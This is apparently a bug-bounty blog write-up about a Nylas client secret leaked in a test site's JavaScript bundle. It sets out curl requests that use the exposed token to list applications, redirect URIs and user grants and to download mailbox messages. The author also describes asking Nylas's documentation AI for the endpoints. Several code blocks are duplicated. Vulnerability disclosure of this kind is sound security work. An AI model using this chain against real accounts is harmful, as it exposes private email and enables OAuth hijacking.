July 14, 2026
Exposing Administrative Secrets: How an Exposed Nylas Client Secret Led to Full Grant and Email…
1. The Discovery: Finding Secrets in the JS Bundle

By elcezeri
3 min read
1. The Discovery: Finding Secrets in the JS Bundle
During a routine inspection of a test environment (.[REDACTED].com), I decided to analyze the compiled frontend assets. By digging into the production JavaScript bundle (main.[HASH].js), I discovered hardcoded credentials belonging to Nylas (a popular communications API platform):
const NYLAS_CLIENT_ID = "*****-[REDACTED]";
const NYLAS_CLIENT_SECRET = "*****-[REDACTED]";const NYLAS_CLIENT_ID = "*****-[REDACTED]";
const NYLAS_CLIENT_SECRET = "*****-[REDACTED]";According to official Nylas security best practices, the Client Secret and Access Tokens must strictly be kept on secure, server-side environments. Exposing them in a client-side bundle allows anyone loading the application to extract them immediately.
2. The Triager's Pushback: "What is the Impact?"
Initially, the security analysts acknowledged the finding but requested a working Proof of Concept (POC) to demonstrate the actual business and security impact, questioning what an attacker could truly achieve with these keys on a test environment.
When triagers treat hardcoded keys in test/UAT environments lightly, the best response is a highly impactful, non-destructive technical demonstration.
3. Turning Their Own AI Against Them: The Nylas LLM Strategy
Before crafting the POC, I decided to consult Nylas's own documentation AI/LLM directly within their dashboard. I asked:
"Are the Nylas client ID and secret confidential? Should I include them in the public JS file?"
Armed with this official confirmation, I didn't stop there. I also used the assistant to fetch the exact, correct endpoints and HTTP methods (GET/POST requests) needed to query administrative data. Armed with these API patterns, I proceeded to execute the full proof of concept.
4. Escalating the Impact: Admin-Level API Manipulation
A. Validating the Exposed Key & Fetching Applications
I authenticated successfully using the exposed bearer token:
curl --request GET \
--url 'https://api.us.nylas.com/v3/applications' \
--header 'Authorization: Bearer <EXPOSED_NYLAS_API_KEY>' \
--header 'Content-Type: application/json'curl --request GET \
--url 'https://api.us.nylas.com/v3/applications' \
--header 'Authorization: Bearer <EXPOSED_NYLAS_API_KEY>' \
--header 'Content-Type: application/json'B. Enumerating Active Connectors & Redirect URIs
Using the same administrative token, I queried the redirect URIs registered under the Nylas app:
curl --request GET \
--url 'https://api.us.nylas.com/v3/applications/redirect-uris' \
--header 'Authorization: Bearer <EXPOSED_NYLAS_API_KEY>' \
--header 'Content-Type: application/json'curl --request GET \
--url 'https://api.us.nylas.com/v3/applications/redirect-uris' \
--header 'Authorization: Bearer <EXPOSED_NYLAS_API_KEY>' \
--header 'Content-Type: application/json'Result: I retrieved a complete list of valid OAuth callback and redirect URIs mapping to Localhost, Test, and UAT servers. More importantly, because this was an administrative key, I could actively add, modify, or delete callback URIs — allowing for potential OAuth redirect hijacking.
4. The Critical Blow: Grant Harvesting & Reading Emails
To solidify the severity of the leak, I queried the grants endpoint. Grants represent specific user authorizations allowing the application to access their calendars and mailboxes.
curl --request GET \
--url 'https://api.us.nylas.com/v3/grants' \
--header 'Authorization: Bearer <EXPOSED_NYLAS_API_KEY>' \
--header 'Content-Type: application/json'curl --request GET \
--url 'https://api.us.nylas.com/v3/grants' \
--header 'Authorization: Bearer <EXPOSED_NYLAS_API_KEY>' \
--header 'Content-Type: application/json'This returned a goldmine of active grants. Each record exposed:
- User Emails (e.g., test accounts, developer mailboxes).
- Specific Google/Gmail OAuth Scopes (including
gmail.readonly,gmail.send, andcalendar.events.readonly). - User IP Addresses & User Agents.
Accessing Live Messages
By taking an active Grant ID obtained from the list, I sent a request directly to the messages API endpoint to retrieve the mailbox content:
curl --request GET \
--url 'https://api.us.nylas.com/v3/grants/[ACTIVE_GRANT_ID]/messages' \
--header 'Authorization: Bearer <EXPOSED_NYLAS_API_KEY>' \
--header 'Content-Type: application/json' \
-o output.jsoncurl --request GET \
--url 'https://api.us.nylas.com/v3/grants/[ACTIVE_GRANT_ID]/messages' \
--header 'Authorization: Bearer <EXPOSED_NYLAS_API_KEY>' \
--header 'Content-Type: application/json' \
-o output.jsonResult: The API successfully returned live email threads and messages from the team's testing mailboxes. The impact was now undeniable.
The Resolution: A Triage and a $$$ Bounty
Although the security team initially downplayed the finding as a "test-only" leak with no production impact, the detailed POC demonstrating active grant enumeration and mailbox queries changed the narrative.(test instance and dummy data)
Even though this was "just" a test environment, it was an incredibly valuable finding. It forced me to research, map out the API, and build a highly effective exploitation flow. Now, I have a solid, repeatable Nylas Client ID & Secret exploitation roadmap in my arsenal for any future targets.
Stay Connected
- X (Twitter): @xelcezeri
- LinkedIn: Samet Yiğit